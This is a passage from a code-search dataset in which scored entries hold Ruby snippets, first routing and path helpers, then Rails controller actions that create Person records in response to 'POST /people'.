:action=>\"index\" } }\n route_def = target_to_controller_and_action(target)\n end\n # add method and params symbols\n route_def.merge!(\n match: get_math_for_route(path),\n method: method,\n params: process_params(path)\n )\n # add route to routes hash\n routes.push(route_def)\n end", "title": "" }, { "docid": "be6c501da72723ed20235c480884e2d0", "score": "0.51103395", "text": "def add_path(path)\n path.paths.each do |pt, value|\n @paths[pt] |= value\n end\n\n path.cells.each do |pt, value|\n @cells[pt] |= value\n end\n end", "title": "" }, { "docid": "d1aebe102ff94b8aa0483723e9587c06", "score": "0.5103699", "text": "def add(glob, options)\n definition << options.merge(:glob => glob)\n end", "title": "" }, { "docid": "b8aed3978bc8a457713520f696b3fb9a", "score": "0.5053935", "text": "def +(path)\n self.join(path)\n end", "title": "" }, { "docid": "95384fd4a426ca21542f1ea4a87c2f56", "score": "0.50420237", "text": "def attach(resource, value = nil, options = {})\n @path << \"/#{resource}\"\n @options.merge!(options)\n if value\n @path << (value.class == Fixnum ? \"/#{value}\" : \"/#{resolve(value).id}\" )\n end\n self\n end", "title": "" }, { "docid": "c883aee863c9e0aaa533923e52d5bf80", "score": "0.50370634", "text": "def post(path, options = nil)\n add(path, options).post\n end", "title": "" }, { "docid": "b91cc15c586267350955965a8c56c977", "score": "0.50290203", "text": "def options(path, opts={}, &bk); route 'OPTIONS', path, opts, &bk end", "title": "" }, { "docid": "89781775405b40b58d31192be989a155", "score": "0.5011475", "text": "def path(name, *args)\n params = args.last.is_a?(Hash) ? args.pop : {}\n candidates = @routes.select { |route| route.name == name }\n fail InvalidRouteException if candidates.empty?\n i = 0\n route = candidates.sort_by! { |candidate|\n # Tries to find the route that matches more, but with fewer names, in stable order\n [(params.keys.map(&:to_s) - candidate.matcher.names).length, candidate.matcher.names.size, i += 1] }.shift\n matcher = route.matcher\n params_for_expand = params.dup\n if !args.empty? && matcher.mustermann?\n matcher.names.each_with_index do |matcher_name, index|\n params_for_expand[matcher_name.to_sym] ||= args[index]\n end\n end\n matcher.mustermann? ? matcher.expand(params_for_expand) : route.path_for_generation\n end", "title": "" }, { "docid": "fbb16775d19204be02454424cf12ba45", "score": "0.5011307", "text": "def add(option:)\n self\n .class\n .new(\n option: option,\n options: @options\n )\n end", "title": "" }, { "docid": "7fb57eadb7e1e1b663517774b1aa61a0", "score": "0.5008064", "text": "def +(path)\n\t\t\t\tif path\n\t\t\t\t\tself.class.new(File.join(@full_path, path), @root)\n\t\t\t\telse\n\t\t\t\t\tself\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "3274318e6c81b4c811f27b70de9ef824", "score": "0.49920058", "text": "def add_route(route)\n @cache.clear\n process_route(route)\n end", "title": "" }, { "docid": "7209cd5c57ae329b07b9d05ce5a1e66d", "score": "0.49622977", "text": "def add(*args)\n helper.glob_to_index(args) do |index, relative_path|\n index.add(relative_path.to_s)\n end\n\n self\n end", "title": "" }, { "docid": "e71fda80744625520be7a31226c69d1a", "score": "0.49408916", "text": "def parse_route(path, options, verb)\n path = path.dup if path.kind_of?(String)\n route_options = {}\n\n if options[:params] == true\n options.delete(:params)\n elsif options.include?(:params)\n options[:params] ||= []\n options[:params] |= Array(options[:with]) if options[:with]\n end\n\n # We need check if path is a symbol, if that it's a named route.\n map = options.delete(:map)\n\n # path i.e :index or :show\n if path.kind_of?(Symbol)\n name = path\n path = map ? map.dup : (path == :index ? '/' : path.to_s)\n end\n\n # Build our controller\n controller = Array(@_controller).map(&:to_s)\n\n case path\n when String # path i.e \"/index\" or \"/show\"\n # Now we need to parse our 'with' params\n if with_params = options.delete(:with)\n path = process_path_for_with_params(path, with_params)\n end\n\n # Now we need to parse our provides\n options.delete(:provides) if options[:provides].nil?\n \n options.delete(:accepts) if options[:accepts].nil?\n\n if @_use_format || options[:provides]\n process_path_for_provides(path)\n # options[:add_match_with] ||= {}\n # options[:add_match_with][:format] = /[^\\.]+/\n end\n\n absolute_map = map && map[0] == ?/\n\n unless controller.empty?\n # Now we need to add our controller path only if not mapped directly\n if !map && !absolute_map\n controller_path = controller.join(\"/\")\n path.gsub!(%r{^\\(/\\)|/\\?}, \"\")\n path = File.join(controller_path, path) unless @_map\n end\n end\n\n # Now we need to parse our 'parent' params and parent scope.\n if !absolute_map and parent_params = options.delete(:parent) || @_parent\n parent_params = (Array(@_parent) + Array(parent_params)).uniq\n path = process_path_for_parent_params(path, parent_params)\n end\n\n # Add any controller level map to the front of the path.\n path = \"#{@_map}/#{path}\".squeeze('/') unless absolute_map || !@_map\n\n # Small reformats\n path.gsub!(%r{/\\?$}, '(/)') # Remove index path\n path.gsub!(%r{//$}, '/') # Remove index path\n path[0,0] = \"/\" if path !~ %r{^\\(?/} # Paths must start with a /\n path.sub!(%r{/(\\))?$}, '\\\\1') if path != \"/\" # Remove latest trailing delimiter\n path.gsub!(/\\/(\\(\\.|$)/, '\\\\1') # Remove trailing slashes\n path.squeeze!('/')\n when Regexp\n route_options[:path_for_generation] = options.delete(:generate_with) if options.key?(:generate_with)\n end\n\n name = options.delete(:route_name) if name.nil? && options.key?(:route_name)\n name = options.delete(:name) if name.nil? && options.key?(:name)\n if name\n controller_name = controller.join(\"_\")\n name = \"#{controller_name} #{name}\".to_sym unless controller_name.empty?\n end\n\n options[:default_values] = @_defaults unless options.has_key?(:default_values)\n\n [path, name, parent_params, options, route_options]\n end", "title": "" }, { "docid": "af7532ebb5d5be80333c902853dcae2f", "score": "0.49399763", "text": "def route(name = '/', *args)\n hash = {}\n hashes, names = args.partition{|arg| arg.respond_to?(:merge!) }\n hashes.each{|to_merge| hash.merge!(to_merge) }\n\n name = name.to_s.gsub(/__/, '/')\n\n location = route_location(self)\n front = Array[location, name, *names.map{|element|\n Rack::Utils.escape(element) }].join('/').squeeze('/')\n\n return URI(front) if hash.empty?\n\n query = Rack::Utils.build_query(hash)\n URI(\"#{front}?#{query}\")\n end", "title": "" }, { "docid": "187a38e330494f4960b76afc718701d1", "score": "0.4932323", "text": "def add(path)\n cleanup(path)\n new_client.add(path)\n rescue\n false\n else\n true\n end", "title": "" }, { "docid": "db0770e9d769f0d695f77a0ddd4e6a73", "score": "0.49317858", "text": "def add_path(station_id1, station_id2, minutes)\n\t\taction = [\"MOVE\", station_id1, station_id2, minutes]\n\t\t@path.push(action)\n\tend", "title": "" }, { "docid": "427e12e48ed0006a852e79a960ff2751", "score": "0.49268448", "text": "def edit(route_id, source_path, target_url, request_method)\n if Disraptor::RouteStore.has_route(route_id)\n Disraptor::RouteStore.remove_route(route_id)\n end\n\n return add(route_id, source_path, target_url, request_method)\n end", "title": "" }, { "docid": "a47865b03cdb5800a3846c303240b433", "score": "0.49182305", "text": "def add_with_path list, pos, score, path\n list.push ({position: pos, score: score, path: path})\nend", "title": "" }, { "docid": "ca4acf85b20cc58e693eab46168f8402", "score": "0.49139512", "text": "def add_global_path(id, *paths)\n\t\t\tpaths = paths.map {|path| to_path(path) }\n\t\t\t@project.global_context.add_attribute(id, *paths)\n\t\tend", "title": "" }, { "docid": "0fdd19bdc443c912646bf095255209f1", "score": "0.49107382", "text": "def add_route( rule, output_channel )\n validate_arguments( binding() )\n routes.push( RouteSpecification.new( rule, output_channel ) )\n end", "title": "" }, { "docid": "590e9a4ea0b9465e32867da202bb9518", "score": "0.49039146", "text": "def url(name, *args)\n options = args.last.is_a?(String) || args.last.is_a?(Numeric) ? nil : args.pop\n match, needs = self.class.route_names[name.to_sym]\n raise RuntimeError, \"Can't seem to find named route #{name.inspect}!\", caller if match.nil? && needs.nil?\n needs = needs.dup\n match = match.source.sub(/^\\^/,'').sub(/\\$$/,'')\n while match.gsub!(/\\([^()]+\\)/) { |m|\n # puts \"M: #{m}\"\n if m == '([^/?&#]+)'\n key = needs.shift\n # puts \"Needs: #{key}\"\n if options.is_a?(Hash)\n # puts \"Hash value\"\n options[key.to_sym] || options[key.to_s] || args.shift\n else\n if options.respond_to?(key)\n # puts \"Getting value from object\"\n options.send(key)\n else\n # puts \"Shifting value\"\n args.shift\n end\n end\n elsif m =~ /^\\(\\?[^\\:]*\\:(.*)\\)$/\n # puts \"matched #{m}\"\n m.match(/^\\(\\?[^\\:]*\\:(.*)\\)$/)[1]\n else\n raise \"Could not generate route :#{name} for #{options.inspect}: need #{args.join(', ')}.\" if args.empty?\n args.shift\n end\n }\n end\n match.gsub(/\\\\(.)/,'\\\\1') # unescapes escaped characters\n end", "title": "" }, { "docid": "0bac79a980945a0447cd4a8ad6e2a075", "score": "0.49032396", "text": "def add(path)\n if File.directory?(path)\n add_directory(path)\n elsif File.file?(path)\n add_file(path)\n else\n fail \"#{path} doesn't exist\"\n end\n end", "title": "" }, { "docid": "16088a678ed3585a3fed5053e82f535f", "score": "0.49029765", "text": "def get(path, options = nil)\n add(path, options).get\n end", "title": "" }, { "docid": "02b527a5fe76fdaf8127780dd91c92e8", "score": "0.4902617", "text": "def path_to(destination, options = {})\n Gdirections::Route.find(self, destination, options)\n end", "title": "" }, { "docid": "00a1e364a682dd2971d34c396e1b61a4", "score": "0.4880095", "text": "def add_route(route)\n @stations[@index].departure(self) unless @current_station.nil?\n @stations = route.stations\n @index = 0\n @current_station = @stations[@index]\n @stations[@index].arrival(self)\n end", "title": "" }, { "docid": "404d0783cadacc016ee5d2216ae38b48", "score": "0.48712075", "text": "def add ctrl, base_path=nil, &block\n base_path ||= ctrl.controller_name\n\n mount = Mount.new(ctrl, base_path, @sep, &block)\n\n mount.each_route do |route_ary, name, val|\n curr_node = @routes_tree\n\n route_ary.each do |part|\n curr_node.add_child part\n curr_node = curr_node[part]\n end\n\n curr_node.value = val\n route = [route_ary[0], \"/\" << route_ary[1..-1].join(@sep), val[2]]\n\n @routes_lookup[name] = route if name\n @routes_lookup[val[0..1]] = route\n end\n end", "title": "" }, { "docid": "3b37fc95498c252624ab3b3a4b688730", "score": "0.48576877", "text": "def add_route(station, line)\n Neo4j::Transaction.run do\n rel = Neo4j::Relationship.create(:route, self, station)\n rel[:distance] = 1.0\n rel[:line] = line\n end\n\n self\n end", "title": "" }, { "docid": "5dd94902059e12f3ebe9c4239bfc4a3a", "score": "0.48549077", "text": "def match_rule?(options)\n rules = [options].flatten\n rules.any? do |pattern|\n if pattern.is_a?(Regexp)\n @req.path =~ pattern\n else\n @req.path[0, pattern.length] == pattern\n end\n end\n end", "title": "" }, { "docid": "75fd0055416537f23dd154e268301cad", "score": "0.4845845", "text": "def addDragPathElement(path, opts={})\n addPathElement(path, opts)\n end", "title": "" }, { "docid": "704b8f7499be42779f34a8b388b966d8", "score": "0.4841657", "text": "def append_path(path)\n @paths.push(File.expand_path(path, root))\n end", "title": "" }, { "docid": "5a555c3b9ed955fc35f43c8ffc2ea4e1", "score": "0.4828885", "text": "def path_append(path)\n path_set(path_components + [File.expand_path(path)])\n end", "title": "" }, { "docid": "0f50e4a1627294298a6b77f7dc9e2246", "score": "0.48286214", "text": "def route *args\n locked? || raise(\"`route' works only on mounted apps. Please consider to use `base_url' instead.\")\n return base_url if args.size == 0\n (route = self[args.first]) && args.shift\n build_path(route || base_url, *args)\n end", "title": "" }, { "docid": "a0873534b5e66e86452f01f4fa3a113b", "score": "0.48283035", "text": "def route_for(options)\n ensure_that_routes_are_loaded\n ActionController::Routing::Routes.generate(options)\n end", "title": "" }, { "docid": "43d53c8a5dd00d92413f4430c5045078", "score": "0.48275077", "text": "def add(word)\n @root.create_final_path(word.chars.reverse + [Path::DELIMITER])\n\n Word.new(word.chars).to_delimited_paths.each do |path|\n @root.create_final_path(path.letters)\n end\n\n self\n end", "title": "" }, { "docid": "c697827c472a2b0bad8433e8ac994833", "score": "0.48255017", "text": "def method_missing(method, *args)\n\t\t\t@path_elements << method.to_s\n\t\t\t@path_elements << args[0] if args[0]\n\t\t\treturn self\n\t\tend", "title": "" }, { "docid": "1a72f1dda86b6037dc6c4d664d0578f5", "score": "0.48249125", "text": "def route(verb, path, &block)\n signature = compile!(verb, path, block, {})\n (routes[verb] ||= []) << signature\n end", "title": "" } ]
594b5a3d8e46c408026a05afe3c32505
POST /people POST /people.xml
[ { "docid": "3fe700612bc4d1ed644ef684aec830ac", "score": "0.0", "text": "def create\n @person = Person.new(params[:person])\n @current_style = :details\n \n if !params[:person][:uploaded_data].nil?\n @person.image = Image.new({ :uploaded_data => params[:person][:uploaded_data] })\n @person.image.save\n end\n \n @person.user = current_user\n @person.create_person_profile\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Person was successfully created.'\n format.html { redirect_to(@person) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "title": "" } ]
[ { "docid": "5752b1fac9a71a418a2c4f4a2317862b", "score": "0.6141427", "text": "def create\n #rg = RestGraph.new( :app_id => APP_ID, :secret => APP_SECRET)\n #parsed_request = rg.parse_signed_request!(params[\"signed_request\"])\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc82904421f57eac44c4ead8cecbd082", "score": "0.6038435", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Person was successfully created.'\n format.html { redirect_to(@person) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "596e35062aaf06fc615f9cabd79f719d", "score": "0.6028126", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "596e35062aaf06fc615f9cabd79f719d", "score": "0.6028126", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "596e35062aaf06fc615f9cabd79f719d", "score": "0.6028126", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "685af49a610daf2ecc769d87dc91bb1c", "score": "0.60149086", "text": "def signup\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @person }\n end\n end", "title": "" }, { "docid": "558701ca12d65105e4b4af9e53e036d1", "score": "0.5963473", "text": "def create\n @person = Person.new(params[:person])\n @people = load_people(@person)\n respond_to do |format|\n if @person.save\n format.html { redirect_to(admin_person_path(@person), :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ad8cd951a537ae9097bf6b524dc3f43", "score": "0.59434223", "text": "def create\n @emails_person = EmailsPerson.new(params[:emails_person])\n\n respond_to do |format|\n if @emails_person.save\n format.html { redirect_to(@emails_person, :notice => 'Emails person was successfully created.') }\n format.xml { render :xml => @emails_person, :status => :created, :location => @emails_person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @emails_person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d05462cf7791697607970e54a27e34c", "score": "0.5909145", "text": "def create\n @addresses_person = AddressesPerson.new(params[:addresses_person])\n\n respond_to do |format|\n if @addresses_person.save\n format.html { redirect_to(@addresses_person, :notice => 'Addresses person was successfully created.') }\n format.xml { render :xml => @addresses_person, :status => :created, :location => @addresses_person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @addresses_person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63eb33eee2d2c0fe5c733bc487e74e90", "score": "0.58240986", "text": "def add_new_person(api, cookie, person)\n pers = nil\n option_hash = { content_type: :json, accept: :json, cookies: cookie }\n res = api[\"people\"].post person.to_json, option_hash unless $dryrun\n if res&.code == 201\n pers = JSON.parse(res.body)\n end\n pers\nend", "title": "" }, { "docid": "5bf75c80b6c1afd029c4bd2222278299", "score": "0.57641053", "text": "def call(env)\n body = names.map {|name| \"<meow>#{name}</meow>\" }.join(\"\\n\")\n\n [200, {\"Content-Type\" => \"application/xml\"}, [body]]\n end", "title": "" }, { "docid": "a366e6f2f995ab2992e13cb1e1c5bccc", "score": "0.5751037", "text": "def create\n person = the_user.people.create!(person_params)\n\n respond_to do |format|\n if person.persisted?\n format.html { redirect_to user_person_path(the_user, person), notice: 'Person was successfully created.' }\n format.json { render user_person_path(the_user, person), status: :created, location: person }\n else\n format.html { render new_user_person_path(the_user, person) }\n format.json { render json: person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "270c25931472aa85aacf792af8b835f2", "score": "0.5747724", "text": "def create\n @person = Person.new(person_params)\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_url, notice: 'La persona fue creada exitosamente.' }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5271ecff49455fd8f3099026a2fd71d1", "score": "0.5729221", "text": "def create\n if !params[:upload].nil? then\n params[:upload].each { |n,f|\n params[:person][n] = f.tempfile.read\n }\n end\n\n @person = Person.new(params[:person])\n\n token = SecureRandom.hex(20)\n\n @person.homeDirectory= \"/home/ldap/#{@person.uid}\"\n @person.gidNumber= 500\n @person.uidNumber= 1000\n @person.auth= token\n Person.all.each{|p|\n @person.uidNumber = p.uidNumber + 1 if p.uidNumber >= @person.uidNumber\n }\n\n respond_to do |format|\n if @person.save\n #UserMailer.welcome_email(@person,@USER,token).deliver\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13c1a64e8209192c076f6c8c0266b10b", "score": "0.571394", "text": "def new\n @people = People.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @people }\n end\n end", "title": "" }, { "docid": "25b04ffa7a6679c8d636f5261d3c4f19", "score": "0.5713138", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_path, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3212d8ed4aeb5cc53c8ad72bc095280", "score": "0.5703384", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n PersonMailer.deliver_registration_confirmation(@person)\n flash[:notice] = 'Registration Successful.'\n format.html { redirect_to(@person) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7542b8d0ec748db1ae164d43ebd93cb", "score": "0.56974727", "text": "def create\n @person = current_user_people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: I18n.t('controllers.people.create.success') }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8edc978b0774150b50c53b42b7a978de", "score": "0.5687778", "text": "def create\n @participant_person = Participant::Person.new(params[:participant_person])\n\n respond_to do |format|\n if @participant_person.save\n format.html { redirect_to(@participant_person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @participant_person, :status => :created, :location => @participant_person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @participant_person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4628d37e40acc0027ac12507ce7666ec", "score": "0.5687233", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_path, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a57ccf1a5b27f3e307e4b283d3837c14", "score": "0.5681054", "text": "def add_user(name, email)\n post \"/api/users.xml\", {:user => {:name => name, :email => email}}\n end", "title": "" }, { "docid": "2f51d058ca93e937cdebdf5779f9e22d", "score": "0.5619391", "text": "def create\n @personnage = Personnage.new(params[:personnage])\n\n respond_to do |format|\n if @personnage.save\n format.html { redirect_to(@personnage, :notice => 'Personnage was successfully created.') }\n format.xml { render :xml => @personnage, :status => :created, :location => @personnage }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @personnage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90fdfa43829dea2fa92bc8f4b86c2e8a", "score": "0.5618787", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n if (@person.address.addressee.nil?)\n @person.address.addressee = @person\n @person.address.save\n end\n \n if (@person.spouse && @person.spouse.lastName == \"\")\n @person.spouse.lastName = @person.lastName\n @person.spouse.save\n end\n \n unless (@person.children.empty?)\n @person.children.each do |child|\n if (child.lastName == \"\")\n child.lastName = @person.lastName\n child.save\n end\n end\n end\n \n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c4779b32651c86ed84e0f02808d7653d", "score": "0.5613002", "text": "def create_person(**args)\n params = parameters(args) do\n required_params :name\n optional_params :name, :owner_id, :org_id, :email, :phone, :visible_to, :add_time\n end\n request(:post, 'persons', params)\n end", "title": "" }, { "docid": "0200d5d3f4a9b62e3a40ad56c21c2674", "score": "0.5606284", "text": "def create\n @person = Person.new(params[:person])\n# @status = Status.new(params[:status])\n ap params\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c7bf2a93e6c13d1749ab4629413e583d", "score": "0.5603077", "text": "def create\n @person = Person.new(params[:person])\n\t\tunless @person.openid_url.ends_with? '/'\n\t\t\t@person.openid_url << '/'\n\t\tend\n\n\t\t@person.api_key = UID.random\n\n respond_to do |format|\n if @person.save\n flash[:notice] = 'Ok, now log in!'\n format.html { redirect_to(people_path) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67e15cca1fad36d9f4429c7f3c6c70c6", "score": "0.55817413", "text": "def create\n @person = current_user.people.build(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, success: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "387328bd43b326fc23c17814680f77fa", "score": "0.55771405", "text": "def create(first_name, last_name, email, org_id)\n validation_errors = []\n \n validation_errors.push('invalid_first_name') unless Util::CommonValidator.is_string?(first_name)\n validation_errors.push('invalid_last_name') unless Util::CommonValidator.is_string?(last_name)\n validation_errors.push('invalid_email') unless Util::CommonValidator.is_string?(email)\n validation_errors.push('invalid_org_id') unless Util::CommonValidator.is_integer?(org_id)\n \n return validation_error(\n 'l_t_pd_p_1',\n 'something_went_wrong',\n validation_errors,\n GlobalConstant::ErrorAction.default\n ) if validation_errors.present?\n \n url_path = create_request_path(@persons_endpoint)\n custom_params = {\n name: \"#{first_name} #{last_name}\",\n org_id: org_id,\n email: email\n }\n r = send_request_of_type('post', url_path, custom_params)\n return r unless r.success?\n \n success_with_data(\n {\n person_id: r[:data]['id'],\n })\n end", "title": "" }, { "docid": "18fb534049b8c3757a93728f2176c82b", "score": "0.55753046", "text": "def create\n @person = Person.new(person_params)\n @p_addresses = Address.where(:id => params[:person_addresses])\n @person.addresses << @p_addresses\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: \"La persona a sido creada. <a href='#{new_employee_path}'>Click aqui para registrarlo como funcionario</a>\".html_safe }\n format.json { render :show, status: :created, location: @person }\n else\n @addresses = Address.order(\"created_at desc\").all\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de8eae1a7d312b8ea65841f3ba1f39ed", "score": "0.55750775", "text": "def create\n @red_person = RedPerson.new(params[:red_person])\n\n respond_to do |format|\n if @red_person.save\n flash[:notice] = 'RedPerson was successfully created.'\n format.html { redirect_to(@red_person) }\n format.xml { render :xml => @red_person, :status => :created, :location => @red_person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @red_person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2817547b7d527a6d7e0e5a332c9078d4", "score": "0.556467", "text": "def create\n Rails.logger.info(params)\n @person = Information.submit_handling(params[:name],\n params[:position],\n params[:institution],\n params[:postdoc],\n params[:degree],\n params[:superdoc],\n params[:superdeg])\n if @person != nil && @person.save\n render json: {person: @person}\n else\n render json: {warning: \"didnt work\"}\n end\n end", "title": "" }, { "docid": "88d890b2077a2f8bb251e14ba54e9901", "score": "0.55627537", "text": "def create\n @person = Person.new(params[:person])\n @occupations = Occupation.all(:order => :name)\n @publications = Publication.all(:order => :name)\n @publishings = @person.publishings\n @publishingroles = Publishingrole.all(:order => :name)\n @specialties = Specialty.all(:order => :name)\n \n respond_to do |format|\n if @person.save\n flash[:notice] = 'Person was successfully created.'\n format.html { redirect_to(@person) }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "365d1e328f45cd3bcd51ada2631d8ed9", "score": "0.5559007", "text": "def create\n #@presenter = Presenter.new(params[:presenter])\n requester = HttpRequester.new(\"post\", Credentials.key, Credentials.secret)\n person = generate_person_xml(params[:presenter])\n uri = [[URI.parse(Credentials.server + 'people/'), person.inspect]]\n response = requester.request_raw(uri)[0]\n \n respond_to do |format|\n if (response.code == '200')\n #Add the ESS-ID to @presenter and save it\n xml = XmlNode.parse(response.body)\n parameters = {:essid => xml.get_node(\"id\").value,\n :first_name => xml.get_node(\"first-name\").value,\n :last_name => xml.get_node(\"last-name\").value,\n :email_address => xml.get_node(\"email-address\").value,\n :created_time => xml.get_node(\"created_time\").value,\n }\n sync(Presenter, parameters)\n @presenter = find(Presenter, {:essid => xml.get_node(\"id\").value})\n \n flash[:notice] = 'Presenter was successfully created.'\n format.html { redirect_to(@presenter) }\n format.xml { render :xml => @presenter, :status => :created, :location => @presenter }\n else\n flash[:notice] = 'Presenter could not be created. HTTP Error code ' + response.code\n format.html { render :action => \"new\" }\n format.xml { render :xml => @presenter.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f062338fb3028074a2c56a6a5627229", "score": "0.5556535", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to root_url, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7113537efb7071b24c13b1d77c1dfb14", "score": "0.555267", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Profile was saved.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a664946d6ad213d2c451cc6e41185e5", "score": "0.55525327", "text": "def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, flash[:notice] = 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78d69f28ebe9b82861b92a9457e818d6", "score": "0.5549408", "text": "def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was 